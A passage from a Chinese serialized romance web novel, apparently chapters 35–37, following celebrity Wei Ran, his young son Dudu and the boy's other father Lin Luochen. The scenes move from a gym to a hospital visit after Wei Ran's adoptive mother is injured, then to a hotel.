健身工作室里本就售卖各种减脂餐，私教会员可以免费吃，蔚染又和这里的老板李宣很熟，这里的助理小姐姐就干脆给嘟嘟送来了果蔬汁。 很照顾小孩子的口味, 这杯果蔬汁中水果比例偏重，也没加别的乱七八糟的粉末，因此整杯液体都呈现紫葡萄似的颜色，那主要是桑葚和黑枸杞贡献的花青素。是专门给嘟嘟准备的。 “谢谢姐姐！” 嘟嘟很有礼貌地接过杯子开喝。 团子大的小幼崽，抱着跟他差不多大的超大饮料杯认真鼓腮帮，没有人能不觉得可爱。 如果不是这里不能拍照，她真想把这一幕拍下来啊。 嘟嘟来之前跟爸爸吃过东西了，现在猛吸了小半杯果汁就吸不动了。 不过没关系，剩下的留给爸爸喝。 爸爸需要，补充那些什么维生素素！ 想起这点，嘟嘟的小脚丫忽然一勾，仰头眼睛亮亮地看着姐姐：“对了姐姐，晚上，有什么好吃嘚？” “嘟嘟和爸爸晚上要在这里吃吗？” 美女姐姐悄咪咪地向蔚染的方向看了一眼，戴灰蓝色棒球帽、穿着简单白T的蔚染，即使瘦成纸片人也依然很符合大众审美，工作室里粉他的人很多。 但越是明星就越讲究隐私。 要不是因为蔚染今天带来了嘟嘟来，美女前台还不敢进来看蔚染健身呢。 现在有了个小挡箭牌，美女姐姐趁机多看了大明星几眼，就冲嘟嘟伸手：“吃的东西挺多，姐姐带你去看看吧……就在外边，去吗嘟嘟？” “好。” 嘟嘟乖巧点头，接着就很有技巧地把自己的小身子顺到地面—— 先把装果汁的大杯子放下，之后把自己从健身器材上蹭下，最后再重新抱起果汁杯。 小小的人类幼崽一顿捯饬，还不忘最后理一理自己的小西瓜头，站在那里抱着大水杯的宝宝又冲姐姐眨了眨眼睛。 嘟嘟说：“不过，嘟宝要先跟爸爸嗦一声。” “呀。” 美女姐姐没想到一个四岁的小幼崽就这么懂事，但她也没有阻止嘟嘟在一边等，反而蹲下来，趁机摸了摸蔚嘟嘟的小手：“嘟嘟这么乖呀，是怕爸爸担心吗？” “嗯哒。” 嘟嘟却觉得跟爸爸报备是最正常不过的事情，因为他记得的“原著剧情”里，有坏爷爷连哄带骗地带走了嘟嘟，尽管最后嘟嘟被找到了，但爸爸还是急哭了好几次。 嘟嘟不想爸爸哭，所以嘟嘟，是无论如何都不会乱跑的！ 蔚染做完一组训练后，抱着果汁杯的蔚嘟嘟就哒哒哒地跑向自己的爸爸，给爸爸喝水，顺便跟爸爸说自己要去跟姐姐溜达一圈。 外面有司机和助理在，蔚染不担心嘟嘟会走丢，于是点了点头。 反而是蔚嘟嘟给他爸爸交代了好多，什么要多喝水，好好练，但不要累到之类。 小小的人类幼崽，声音都是软糯糯的，一开口就是这样的叮嘱。 蔚染压在帽檐阴影下的眼睛一弯，做了一组训练、却还略显苍白的唇也露出好看的弧度。 他又蹲下来抱了抱嘟嘟，特别温柔地说：“好，爸爸知道了。” 旁边的美女姐姐差点发出尖叫—— 要是网上那些蔚染的粉丝看见这一幕，不知道都得疯多少。 都说明星是有人设的，可怎么看，蔚染给人的感觉都比网上形容的还要好一些。这么清新干净的青年，怎么可能像网上说的那样。 美女姐姐正要牵起嘟嘟的手。健身房的门被人从外面刷开。 一个高大的身影出现在门口。 “嘟嘟，干什么去？” 助理小姐姐下意识抬头，当即吃了一惊——嚯，这位怎么也得有一米九吧？穿着好正派！ 关键是长得还不赖。 最关键的是，他认识嘟嘟？ 这间健身室是私人VIP教室，只有刷卡才能进。蔚先生已经在里面了，按理来说别人就刷不开了…… 想到不能泄露明星隐私，助理还是第一时间走上前去。 “这位先生……” “没关系，我们是一起的。”担心私教助理会为难，蔚染率先出声。 尽管他也不知道林洛宸是怎么刷卡进来的。 但林洛宸是多精明的人，蔚染一个眼神他就懂了，都不用人问，直接解释：“存500节课就可以进这屋。” 蔚染：“……” 私教助理：“……？？？” 所以他们到底是不是一起的？…… 等等，五百节课？不是二百节吗？这规矩什么时候给改了？ 再说两百节课也从来没有人办过，那都是说得好听……就是他们卖课的时候，会跟潜在客户说：“本来要两百节课才能使用vip练习室，现在只要五十节就可以了哦！”…… 这时候，李宣——健身房老板也从外头紧忙跟了进来，还边走边说：“林先生，旁边还有一间私教室，要不然……” “我在这挺好的。”林洛宸目光直直落到蔚染的背影上，训练出汗的缘故，蔚染的衣服已经湿了。 湿哒哒的布料贴着蔚染的削薄的肩背和脊梁，勾勒着清瘦又挺拔的轮廓。 他说：“我们是一起的。” ——毕竟这话是蔚染刚才亲口说的，林洛宸现在复述得理直气壮。 李宣当即诧异地看了眼蔚染。 他也没想到这个财大气粗、一来就要办五百节课只为能刷开vip室门的老板竟然是蔚染的朋友。 或者说以蔚染今时今日的流量和人气，有几个私生都很正常。他是没想到蔚染竟然会承认跟这个高富帅是一起的。 ……这不符合他对蔚染的认知。如果真的是朋友，直接带进来就完了，何必充值几十万。而如果不算朋友，那蔚染为什么要承认？蔚染大概都不会多给对方一个眼神才对。 蔚染：“……” 他倒真没想那么多。 林洛宸过来以前也没联络他，他更不知道对方充了多少钱……充就充吧，就当是给李宣冲kpi了。 抬手点了点额头，蔚染有点懒得理那边的情况，还是转回去专注训练了。 重新开始健身前，蔚染想的是—— 林洛宸是怎么找到自己和嘟嘟的？他不是去外地开会了吗。……昨天晚上走的，说是会走两三天左右吧，蔚染当时也没让自己仔细去听。 但印象里，对方说的绝对不是今天就回来。 出于好奇，蔚染又下意识向林洛宸的方向看了一眼。 ……而也不知道对方是不是一直有在盯着他似的，蔚染视线刚扫过去，便直接与林洛宸的撞到了一起。 对方目光幽深的眼眸，立即变回了一双深情款款的狗狗眼。 …… 蔚染心中不自觉地颤了一下，下意识地瞥开目光，不敢再看了。 …… 对于最新出现的两个大人，嘟嘟很乖且很有礼貌的叫人：“宣叔叔，林爸爸~” 林洛宸不意外嘟嘟认识这儿的老板。 在确定嘟嘟只是叫对方叔叔而已后，他对身边这位健身房老板的防备心倒瞬间卸下了不少。 林洛宸蹲下来招呼嘟嘟：“宝宝，过来。” 但嘟嘟竟然难得的有点犹豫了。 只见人类幼崽仰头看了看自己身边的美女姐姐，最终还是在林爸爸和漂亮姐姐间、还是暂时选择了前者，哒哒哒地跑去林爸爸面前。 至于被漂亮姐姐牵牵去溜达的事，就等一会儿再说。 “林爸爸，你怎么来了呀~”嘟嘟仰头。也算是替他爸爸问出了这个问题。 林洛宸眼底透着温和的笑意：“爸爸忙完了，就来找嘟嘟的爸爸和嘟嘟。” “啊唔。” 嘟嘟被林爸爸抱了起来，自动勾住了对方的脖颈，坦诚说：“那嘟嘟要跟姐姐，去看好吃的惹。林爸爸去咩？” 林洛宸想说去，但他下意识抬头看了眼远处的蔚染，只见健身房的老板已经走过去跟蔚染说话了。 ……尽管这儿的老板不是嘟嘟的干爹，但看蔚染的样子，两个人的关系应该挺近。 于是话锋一转，他抱紧嘟嘟，果断说：“不在这里吃了吧，等一会林爸爸带你和你爸爸去吃好吃的。” “好吃嘚儿？” “一家新食堂。”林洛宸面不改色地诱惑：“嘟嘟不是喜欢吃上次那种海鲜宽面吗？爸爸带你去另外一家。” “新食堂？” 海鲜宽面嘟嘟不太记得了，毕竟除了不喜欢吃蔬菜以外，嘟嘟一般不挑食，什么都喜欢。 但嘟总一听食堂眼睛就亮了。当即拍起小手掌说：“好呦，嘟嘟要去，食堂~” 于是助理美女姐姐就这样失去了带小嘟嘟去溜达一圈的机会——这个穿着西装的高大男人出现后，就自动沦为了嘟嘟的代步工具，她也不好意思再在旁边打扰，只好退回去工作了。 “穿成这样也不像是来健身的。”回到前台，美女姐姐跟同事八卦。 “但的确办了五百节课。”同事并不想妄议金主爸爸，毕竟有了这一张卡，未来几个月他们健身房都不用发愁了。 “……要我说，还得是蔚老师，这都是蔚老师给咱们宣哥拉来的客户！” “那倒是，咱们也是托了宣哥的福，还能见到大明星。蔚老师这样的咖位，去哪儿健身不行啊，可这么多年了，还一直来咱们这儿……” VIP室内，蔚染还在专注地练着器械，李宣亲自在旁边做辅助工作。 旁边的林洛宸看着又有些吃味儿了——蔚染喜欢健身，他也能陪能教。 抱着嘟嘟来到角落，林洛宸尽量打听：“嘟嘟认识那位叔叔吗？” “宣酥酥？”嗦着林爸爸新给剥开的奶酪棒，蔚嘟嘟知无不言：“认识呀，他是爸爸的朋友。” “什么朋友？” “很好的，朋友呦！”小奶膘一鼓一鼓的，嘟嘟嗦奶酪棒嗦得很上头，也喜欢跟林爸爸八卦：“爸爸和宣叔叔，认识好多年。” “哦？那嘟嘟怎么没认他做干爹？”林洛宸略微扬眉问。 “因为宣叔叔比爸爸矮一公分。” “……” 这么说还真是。 蔚染喜欢高的。 所以这里的老板没可能跟蔚染有什么的，他们只是普通朋友。 …… 可林洛宸还是心存疑虑，仔细想来，还是哪里不对——毕竟以前自己跟蔚染交往时，从没发觉蔚染对另一半的身高有什么要求……至少，不像嘟嘟把控得这么严格。 他干脆继续问嘟嘟：“是你爸爸不喜欢矮的，所以嘟嘟才不考虑让没你爸爸高的人当爸爸吗？” “唔？”这个问题有点复杂，于是嘟嘟晃了晃脑袋——介个需要认真思索后才能回答！ 半分钟后，嘟嘟总结结论：“没有呦，爸爸没有、不喜欢矮的。” 林洛宸：“……” 回答完毕的嘟嘟继续美滋滋地一嗦奶酪棒——只是“剧情”里说，会与染染爸爸狗血纠缠、无论重没重新在一起、都一不小心就会打出BE线的嘟嘟的另一个爸爸，比染染高，嘟嘟才会只找高个子的做干爹啦。 但是从来都米有哪里说过，染染爸爸不喜欢矮的。 正相反，嘟嘟想起，染染爸爸还有对嘟嘟讲过——尽管嘟嘟现在与同龄小朋友比、有一些些的矮，但无论如何，嘟嘟都是爸爸最喜欢的、最可爱，最乖的宝宝！ 于是嘟嘟再次得出肯定的结论：“我爸爸，超~喜欢矮的了呀！” 林洛宸：“…………”？？？—— 作者有话说：嘟宝：总之，爸爸最喜欢宝宝[狗头][狗头][狗头] 35-40 第36章 趁蔚染健身的时候, 林洛宸一边带娃遛弯，一边从嘟嘟那里把能套出的话都套了一遍。 “……狗血文小说？” 林洛宸听得眉头一皱：“什么是狗血文小说？” 嘟嘟坐在林爸爸怀里掰手指，“宝宝也不知道呦。” ——但的确是狗狗的血, 没错的。 嘟嘟已经学会以展开联想的方式来丰富和强化记忆了，自从掌握了这个方法，不仅不会再忘记，甚至他每次想到小狗狗就可以想到介个重要的词, 所以不会有错哒。 单手抱住嘟嘟, 林洛宸另一只手掏出手机善用搜索，瞬间就懂了。 一分钟后他得出结论：“所以你是说, 我跟你爸是在一本狗血小说里。” 嘟嘟仰起大脑袋，略微微地纠正干爹：“不是哒, 是我们都在。” 林洛宸：“……” 好吧, 他想起来, 嘟嘟还并不知道自己就是……他另一个父亲。 他没有想瞒着嘟嘟的意思, 更不可能不要嘟嘟。可过不了蔚染那关, 他也不可能告诉嘟嘟自己就是嘟嘟的另一个爸爸, 除非他真能狠心下去伤害蔚染。 …… 林洛宸心情复杂。 嘟嘟的话他不全信，却也不会不信。 小孩子是天马行空，可能都不知道从哪儿听到的词汇，就拿来编出了故事。 但他已经再三跟嘟嘟确认过这是真的还是编的，嘟嘟都说是真的。 嘟嘟不会撒谎，所以林洛宸相信。 而按照嘟嘟所讲述的故事里的时间节点，现在应该是剧情到了一半儿……蔚染快被自己追回去了。 ……！ 想到这里，林洛宸连灵魂都颤了一下，差点激动得手抖。 可是激动只有一刹，他并没有因此就大意或自满—— 自己跟蔚染只是一本狗血文中并不重要的一对, 甚至重要的都不是自己这代人，而是嘟嘟他们这一代。 于是作为炮灰的他们，在他把蔚染追回去、带回林家后，蔚染也没有幸福，蔚染还是承受了无数来自四面八方的伤害，最终抑郁而终…… 其实不是主角的说法，让林洛宸觉得十分陌生。 他从来都是天之骄子、处在最中心的那一个。……除了与蔚染相关的以外，他还从未有发觉自己不是主角的时候。 可偏偏，他只在乎蔚染。这么说起来的话，他也的确感受到了一股来自森森宇宙间的恶意。 于是对于蔚染可能会抑郁而终的结局，就更为在意。 ……怎么终都不可以！ 更有甚者，按照嘟嘟的说法，即使自己没有把蔚染追回，结果也是一样的。 ……他们这个世界早已经重置过。他跟蔚染，就是一不小心就会走向BE的结局。 幸好，嘟嘟又说，这个世界的爸爸是不一样了的。 “怎么不一样了？”林洛宸虽然心急，但仍旧很耐心地问。 一大一小两个人聊天的态度太认真。 这时如果还有人听见他们的对话，大概会以为他们是在练习构造和讲述故事的能力。 嘟嘟回答说：“因为有宝宝！” “……难道别的世界里没有宝宝？”林洛宸震惊。 “不是的……是只有这里的宝宝，知道该让爸爸怎么做。”说到这里，嘟嘟也挺起小胸膛，志得意满。 被追回去的爸爸和没有被追回去的爸爸都不会开心，本质是书里的爸爸放弃了自己的事业，才会被其他人其他事所影响。 但是嘟嘟的染染爸爸不一样，爸爸没有放弃事业、还熬出头了，嘟嘟也可以赚钱养爸爸，介样有钱和有嘟嘟陪伴的爸爸，就不会玉玉！ 林洛宸听懂了嘟嘟的意思。 “那林爸爸会帮嘟嘟和你爸爸。” 只要他有。 ……不，是只要蔚染和嘟嘟需要。什么都行。 他不想管这个事情的真实性到底有几成，但稍微有可能致使蔚染走向不好解决的，林洛宸都坚决抵制。 “好呦。”嘟嘟很高兴有人愿意帮爸爸。 小小的幼崽所求不多，其实也就是这样。 在林爸爸的怀里，嘟嘟快乐地跟林爸爸一击手掌。 蔚染那边练完了，还在跟李宣说着什么。蔚染话不多，但涉及到正事的时候也不会沉默，看上去两个人是在讨论新一轮的健身计划。 林洛宸隔着玻璃看着蔚染，玻璃上映着他和嘟嘟越看越像的父子脸，林洛宸忽然心潮澎湃，试图继续套话：“那嘟嘟知道，你爸爸当初为什么离开另一个爸爸吗？” “不知道喏。” 嘟嘟想了想，没想到，就一晃小腿儿、轻松回复说。 对于不知道的事，宝宝也不会过分苛责自己。 嘟嘟只是负责拯救后来的爸爸，林爸爸问的问题不属于嘟嘟的职责范围，嘟嘟也就没有关注过。 毕竟如果管太多的话，就超出宝宝的记忆范围啦！ 嘟嘟不知道的十分理直气壮。 林洛宸：“……” ……看看嘟嘟的双商和这不内耗的聪明程度。 不愧是他跟蔚染的孩子。 之后，林洛宸又接到一通电话，还是他父亲打来的。 “……拦着我见孙子也要有个度，我一落地就直接把我带酒店关起来？你是在对待你父亲还是在对待犯人！” 面对林父暴怒的态度，林洛宸倒是没什么语气起伏地说：“蔚染都不要我，你哪来的孙子。” 想到未来被自己追回去的蔚染很可能还是不快乐，林洛宸想不认为林家是龙潭虎穴都不行。 他倒不会激化矛盾，却也不会叫林家人再插手与蔚染相关的事—— “我这是在保护你，从中国法律上说，我都跟他们没关系，你凭什么擅自见嘟嘟？我是担心你被当成人贩子，被人报警抓起来。” 林父：“你、你！……” 讲完电话的时候，蔚染正好洗完澡出来。 已经换了一身干净的衣服，刚刚运动完的人面颊略带一抹薄红，比平时还要秀气了几分。 蔚染乌黑的头发似乎还带着一丝水汽，林洛宸不放心，拉着蔚染就来到镜子前面，重新插上吹风机给蔚染吹头发。 吹风机是vip会员人手一个的，平时就放在各自的柜子里。 林洛宸对这样的服务还算满意，至少干净卫生，要不然他真想直接给蔚染建个私人健身房得了。 被突然拉到镜子前面的蔚染还是懵的。 ……很久以前林洛宸也经常这样给他吹头发。 好像对方做惯了这件事，自己也习惯了被对方这样照顾。 所以吹风机都已打开半晌、略带力度的指腹也已经按压在头皮上，好半天以后，蔚染才恍然发现，他们之间挨得太近了。 他透过镜子看林洛宸的嘴唇一开一合，吹风机嗡嗡的噪音里，他知道林洛宸在对自己说着什么。 可他听不清。 ……大概是一些要重新追自己的话吧，最近只要一靠近自己，林洛宸就忍不住说这个。 可是吹风机停止运作时，他就只听见林洛宸在说“头发要吹干”、“不然会头疼”。 暖风停留在发梢间，连带对方手指温柔的暖意。一如从前. 蔚染一直觉得，以林家的行事风格，这会儿怎么也该有人找上自己了。 可林家的人没等来，倒是先等来了曹家的一通电话——他养母白女士，在给曹辉带孩子时不甚在楼梯上面踩空，摔坏了腿，人目前刚送医院。 给蔚染打电话过来的是他的养父。曹父是一名很成功的外科医生，今年还没退休，人也还在国外工作不能及时赶过来，便希望蔚染能先过去，帮忙照看一二。 “老二那个不争气的，就会惹你妈生气！真出事了他什么都干不了。”曹父在电话那边跟蔚染说： “我已经让你大哥买最近的一次航班回国了，明天中午就能到。知道阿染你不方便，但是今天你能不能先去看看你妈妈……” “叔叔你放心。”蔚染立刻说，“阿姨那边我来安排。” 蔚染答应得这么痛快，既在曹父的意料之中，又在意料之外。 对面过了半晌才说：“阿染，当初的事，是叔叔阿姨对不起你，这回你见了你大哥二哥以后……尤其是你二哥，你别跟他计较，他就是讨债鬼，永远学不会管住自己的嘴，他要是惹你生气，你就揍他，不用给我们留面子。” 蔚染站在落地窗前举着电话，莞尔表示：“叔叔就别跟我客气了，我都是你们养大的，你们哪有什么对不起我的地方。” “唉。”曹父在那边半是应承，半是叹气地唉了声，又说：“还有你大哥……你，你们见面以后……” 蔚染继续微笑，笑脸映照在擦得雪亮的窗户上，显得过于标准灿烂了。 是他除了演戏时以外、平时从不会露出的笑容。 “啊？大哥怎么了吗？我跟大哥的确很多年没见了，嗯。” “……” …… “爸爸，我们是要去，看奶奶吗？” 高速公路上，嘟嘟坐在儿童座椅里晃着小脚，蔚染坐在他旁边，拉了拉宝宝的衣服说：“是呀，奶奶想见嘟嘟，奶奶不小心摔倒受伤了，嘟嘟等一下要好好陪陪奶奶哦。” “那奶奶痛痛。” 嘟嘟黑葡萄似的大眼睛水润润的，嘟宝不想身边的人痛痛，于是保证：“等会宝宝，会好好陪奶奶~” 坐在前排副驾驶上的林洛宸说：“医院那边已经安排了，曹家签了字，现在开始做手术。等我们到的时候，手术说不定都已经完成了，你不用担心。” “……谢谢你。”蔚染真心实意地说。 白女士人在W市，尽管曹家人都在那边，但正如曹父所说，一个都靠不住。 蔚染在那边又不认识什么人，想远程帮忙几乎不可能。 本以为要等自己到了那边才能帮白女士安排些什么，没想到林洛宸自告奋勇，把什么事都安排明白了。 “还跟我客气？” 林洛宸一开始语调上扬，之后又放缓了语气：“……其实也没什么，只是安排进林氏那边的私人医院、环境会好一些而已，别的跟他们在公立医院没什么区别。” “……嗯。”蔚染低低地应了声，低了下头。 林洛宸觉得蔚染有点心不在焉。 蔚染过去的情况他以前就了解过，蔚染的父母都是很出名的医生，但在一次驰援灾区时、夫妻俩同事出了事故离世，蔚染就成了孤儿。在他九岁时。 之后他被曹家给领养了——原本那次驰援应该是蔚染现在的养父曹先生与蔚染的父亲同去，但那会儿因为一些临时调度，曹先生没去成，改换了蔚染的母亲，蔚染这才一下子失去了双亲。 对此曹父很是自责，把蔚染接过去后，一直视如己出。 当然蔚染的父母给他留下了一笔不小的财产，足够蔚染长至成年和完成所有的学业。 所以蔚染借住在曹家，倒没有给曹家带来什么经济负担。 曹家对蔚染也很好，没有贪墨这笔钱，蔚染与曹家的关系似乎不错。 至少蔚染是这么跟他的说的。 眼下，不想蔚染过于担心他养母的事，林洛宸一边回身看蔚染，一边跟嘟嘟聊天。 嘟嘟这个小话痨咿咿呀呀什么都能唠，在林洛宸的刻意引导下，嘟嘟很快就忘了奶奶痛痛的糟心事，跟林洛宸一唱一和，从地域聊到了美食，最终还给林爸爸讲了他跟爸爸最近在看的动画片。 一个半小时的车程很快就过去。 抵达医院的时候白女士还在手术室里面没出来，私人医院的高级病房极重隐私，整个楼层只有零星几个人，靠近手术室的地方，更是只有两男一女。 蔚染让林洛宸帮忙牵着嘟嘟，他率先走了过去。 尽管他戴着帽子和口罩，曹辉还是一眼认出了他。 “……你还真瘦了挺多。”曹辉打量着蔚染，率先说。 蔚染没出声，只是随便点了点头。 他都不记得自己跟曹辉有多少年没见过面了。 蔚染上一次见白女士还是飞去加拿大去接嘟嘟的时候，那会儿他挺忙的，只在白女士家住了一夜就走了，没跟曹家兄弟见过面。 再说曹辉这么多年也一直在国内，尽管身处同一片大陆，他们也不是需要经常见面联络感情的关系。 蔚染并不算是欠曹家什么，曹辉的事他可以不管。就连之前曹辉闪婚，他也只是送了巨额红包，没露面。 但曹辉是个爱找茬的性格，又一直看不上蔚染，曹氏夫妇都教育他这个儿子要他不要挑事、别找蔚染的麻烦，可这会儿见了蔚染，他还是忍不住鼻子不是鼻子的，连正常打招呼都不会。 蔚染没跟他说话，他觉得掉了面子，当即气急败坏地哼了一声。 还守在手术室门口的是曹辉的妻子和老丈人。 蔚染这一行人，连同林洛宸的保镖在内，统共有七八个成年人，各个走路带风。 普通人一般见不着这种阵仗，更尤其是走在最前面的蔚染尽管只露出一双眼睛，可气质过于矜贵，即使不说是明星，也很难被认作是普通人。 曹辉和他老婆都是中产家庭出身，都算见过世面，但女方也还是第一次见到这架势。 也算是为了缓和气氛，他老婆问曹辉：“这就是你那个明星弟弟？” “可不嘛，是我们的弟弟。” 曹辉觉得蔚染态度冷淡，就又哼了声，忽然讥讽道：“也幸亏有这么个混出头的弟弟，要不然我妈这手术现在还没安排上呢。” 曹辉的老婆很不赞同他这种说话方式，白了他一眼。 蔚染则全当没听到他语气里的阴阳怪气—— “不用客气，这是我应该为阿姨做的。” 曹辉还是忍不住揶揄：“……还是当明星气派啊，怪不得你当初哭着喊着也要去学演戏。” 后面，同样戴着小口罩和小帽子的嘟嘟被林爸爸牵着，很不开心地向曹辉的方向看了一眼。 之前嘟嘟在奶奶家住的时候就发现了，这个舅舅凶凶，他还总是说爸爸不好。嘟嘟都知道嘚儿。 对于对爸爸不好的人，嘟嘟要么是批评教育，教育不了的就一律不理。看到都当没看见。 甚至因为实在不想被对方沾到，嫉恶如仇的宝宝还稍后退后一丢丢，躲到了林爸爸的大腿后面。 气氛到了这里，林洛宸哪里看不出这个曹家老二对蔚染有敌意。 眼看嘟嘟抱住自己大腿往后躲、没有要上前认人的意思，林洛宸干脆弯腰抱起嘟嘟，做好护住宝宝的姿势，又大步流星地走向蔚染： “染哥，不如我们先上楼休息，这整个医院都是咱家的，去哪等不都一样。”—— 作者有话说：[比心][比心][比心] 第37章 曹辉不认识林洛宸, 但还认识蔚嘟嘟。 眼见一个身材高大的年轻男人抱着蔚染的孩子走过来，他直接一愣，心里想着：这个该不会就是蔚染的那个……那个嘟嘟的爸爸吧！ 念头一起, 曹辉就又将这人上上下下打量个遍。 殊不知他打量别人的时候、对方也在观察他——曹辉最终看向男人的脸，被对方冷肃的视线一扫，直接打了个寒颤，不敢乱看了。 好在这些年曹辉也成长了一些, 不是真有什么都往出说的性子了。 迫于对方气场, 他甚至还讪讪地冲林洛宸笑了一下，才问：“你是阿染的朋友？” 林洛宸自上而下地看着他, 气质和气场决定他看人时完全是一副上位者的姿态。 睥睨半晌后他才开口，声音很冷, 回答也很简单：“好朋友。” 他不需要在外人面前强调自己的身份。 而因为这个回答, 曹辉一时又摸不准林洛宸究竟是谁了。 他露出一副古怪的笑容, 接着又看向嘟嘟：“嘟嘟, 见到二叔不会叫人？” 嘟嘟当即在林爸爸怀里摆弄起小手。 ……因为摆弄小手指头的嘟嘟就要低着头, 而低着头的嘟嘟, 就是不叫人。 就全当没听懂对面的大人在说什么。 这是嘟嘟的一种自我防御机制。 这时候，蔚染伸开手臂接过了他。 很多大人喜欢教小孩子规矩，希望自家小孩在外人面前能有礼貌，但蔚染没这个规矩。 几乎是直接上前插在曹辉和嘟嘟中间，蔚染挡住了曹辉的视线不说，还只给对方一个后脑勺。 他接过嘟嘟后，嘟嘟很自然地抱住爸爸的脖颈，大脑袋就卡在蔚染的肩颈处，软乎乎地贴着爸爸，始终也没叫二叔。 这是父崽两个的默契。 嘟嘟不想叫人就不叫, 有什么事都有蔚染顶着。 “嗨，还是那么没礼……” 曹辉果然开口了。 但还没说完一句话，林洛宸已经立即转身对身后的院长说：“手术室门口，怎么什么人都可以大声喧哗，咱们医院的秩序管理工作，就是这么做的？” 跟着林总一道过来的医院高管赶紧招呼保安上去，把那位聒噪的先生请走。 曹辉很愤怒，但也无可奈何。他老婆又在旁边劝了几句让他安静，可他就是受不了这样的委屈，又说了两句不中听的话。 蔚染直接抱着嘟嘟，听从林洛宸的建议，去别的房间里等了。 曹辉的老丈人则嫌丢人，干脆离开手术室门口，去抽烟了。 ——亲家母腿摔坏了，他们出于道义才赶过来看看，没想到女婿还是这么幼稚不争气。 当初就不应该同意女儿未婚生育，也不应该看他们家条件还可以，就草率答应这门婚事。 如今看来，曹辉还没有曹家的养子懂事。 …… 白女士的手术很成功，打一段时间石膏、好好休养就可以正常走路了，手术室门前的小插曲也没被蔚染和林洛宸放在心上。 倒是晚上回到临时落脚的酒店时，林洛宸没话找话地跟蔚染说：“别人都属十二生肖，只有你那个二哥，是属鬣狗的吧。” 蔚染今天没午睡，又有点像是在断片，反应了一下才知道林洛宸说的是曹辉。 他一瞬间觉得别说，林洛宸这形容还挺贴切，于是就笑了出来。 猛地弯了眼角、也勾起唇角的人，像黑夜里猝然盛放的烟花。 林洛宸都看傻了。 没想到自己随随便便一句话，竟然就把蔚染给逗笑了。 于是仿佛眸底也映照了绚丽的烟火，林洛宸的眼睛也跟着亮了。 他双目一眨不眨地盯着蔚染。 蔚染说：“曹辉就是没什么脑子，他从小就这样，习惯就好。” 对于蔚染来说，没脑子的人是最好相处的，因为行为模式永远都是一个样儿，只要摸清楚了就可以轻易应对。 而曹辉又属于无脑人群中最莽撞的那一类……而且莽撞是莽撞，但真动手他又打不过蔚染…… 所以从小到大，除了偶尔实在懒得计较、忍受了曹辉说话难听以外，更多时候都是蔚染压着对方打。 林洛宸知道蔚染以前的脾气，所以一点不担心蔚染在曹辉那里会受了委屈。 “而且感觉你养母人不错。” 尽管今天只匆匆见过一面，但也能看出白女士是位很有素质的高知女性。 ……能被嘟嘟喜欢的奶奶肯定不是坏人。至少心不是坏的。 不说一碗水能不能端平的问题，至少对方是有心端平的。 像林洛宸在林家，虽是“老太爷最器重的孩子”，但他自己清楚、所有人也都清楚，他爷爷的偏爱只来源于他比其他林家子弟优秀了许多。 所以对比起来，蔚染的养父母的确很值得敬重。 蔚染也赞同林洛宸的说法，“是啊，叔叔阿姨对我一直很好。” 林洛宸便眸光一动，说：“那我多找几个人来照顾你阿姨，如果她觉得不方便想回家的话，我给她安排私人飞机送她回加拿大。” 蔚染长睫向下一耷，第一次没拒绝，反而点了点头说：“好，谢谢。” “蔚染……”林洛宸一激动，直接握住了蔚染的手。 蔚染下意识想回收手，竟然没有扯出来。他猛地抬头去看林洛宸，就看见对方一双如星辰般明亮的双眼，正熠熠地盯视自己。 莫名间，蔚染不敢再看了，转开了视线，顺便还很想搓一搓自己发烫的耳朵。 林洛宸脸上的笑意近一步扩大。 这时，刚在酒店大堂转完一圈的嘟嘟被保镖们带回。 “爸爸，林爸爸！” 五星级亲子酒店，大厅就有很多可以逛的地方，也很符合小朋友的兴趣爱好，设立了很多商店。 嘟嘟就被带着去逛了一圈，还用自己的小手表刷了好几份冰淇淋。 这会儿哒哒哒地跑回来，嘟嘟没有注意到爸爸和林爸爸快速分开的双手，只是举着自己吃了一半的冰淇淋给爸爸：“爸爸，你吃，冰淇淋~” “……爸爸不吃。” 蔚染说着不吃，还是很给宝宝面子地、就着嘟嘟的小圆手吃了一口。 但这东西他指定不能多吃的，又怕嘟嘟吃多，就说：“给你林爸爸吃吧。” “好呦。” 嘟嘟很不客气地又挖了一大勺，再次举起圆手：“林爸爸，吃冰激凌~” 嘟嘟举起来的时候，蔚染才反应过来那个勺子他才用过。 “啊……”他下意识地想阻止。 可林洛宸已经蹲下身，也就着嘟嘟的小手吃下了那口冰淇淋。 蔚染：“……” 因为蔚染发出了一声很轻微的“啊”的音，嘟嘟和林洛宸就都扭头看他，宝宝眼里是好奇和询问，林洛宸一开始也是。 但看见蔚染的表情后，“那姓林的”很快就懂了蔚染在窘迫些什么，他不仅没在意，甚至还刻意挑起唇角，假意是在对嘟嘟说：“谢谢嘟嘟，很甜。” 蔚染：“…………” 倒是嘟嘟不知道林爸爸现在是话中有话，那话都不是说给宝宝听的，于是嘟嘟就还是很礼貌地说：“不客气的林爸爸。” 林洛宸：“……” 这次轮到蔚染笑了。 时间还早。 林洛宸想起蔚染的行程，重新抱起嘟嘟说：“爸爸再带你走一圈？嘟嘟怎么没买其他东西？” 蔚染点点额头，示意嘟嘟跟林爸爸去玩吧。 他今天还真有点忙，之前陈导就约他今天商量一下剧本的个别设定问题，蔚染白天耽误了，现在就得回房间开远程会议了。 那边，嘟嘟已经很热情地勾住林爸爸的脖子，并咿咿呀呀地解释说，是因为嘟宝先买了冰淇淋，又着急分给大家吃，所以就还米有时间去看其他的东西。 林洛宸一边听着，一边给蔚染个眼神，就把宝宝抱走了。 蔚染：“……” 有个能看着嘟嘟、保护嘟嘟，还能陪宝宝玩的人在，总归是好的。 而像这么好的情况，很多年前刚知道有嘟嘟的存在、又不得不把孩子留下的时候，蔚染其实也不是没幻想过。 只不过没幻想两天他就被现实狠狠吓退。 以至于其后这么多年，蔚染都不敢再做梦。如今也只是走一步看一步而已。 蔚染不会内耗。 他回到房间稍微整理了一下，就给陈导那边发了可以连线申请。 楼下，林洛宸带着嘟嘟逛了儿童商店，采买准备送给小朋友们的礼物。 这趟行程对于嘟总来说也算是出差了。而好朋友之间、出差是要给彼此带礼物的。林洛宸这么教育嘟嘟。 于是嘟嘟也开始关注这些，认真地给自己幼儿园的朋友们挑选礼物。 嘟嘟在里面精挑细选，林洛宸在外面又接了个电话。 “打扰了林总。”那边的人汇报说：“关于蔚先生的事，有了个新发现，感觉必须得汇报给您……” “嗯，说。” “……您说过蔚先生跟您分手是在六月，可是林总转给蔚先生的那一千万，是在十月。” 林洛宸一边看着嘟嘟一边一愣，“你说什么？” 这个发现太重要了，那边担心他对调查工作不满意，还在解释：“……五年前的转账记录本身就很难调取，更何况还是大额跨国转账业务，当时操作起来就经过很多步骤，所以……” 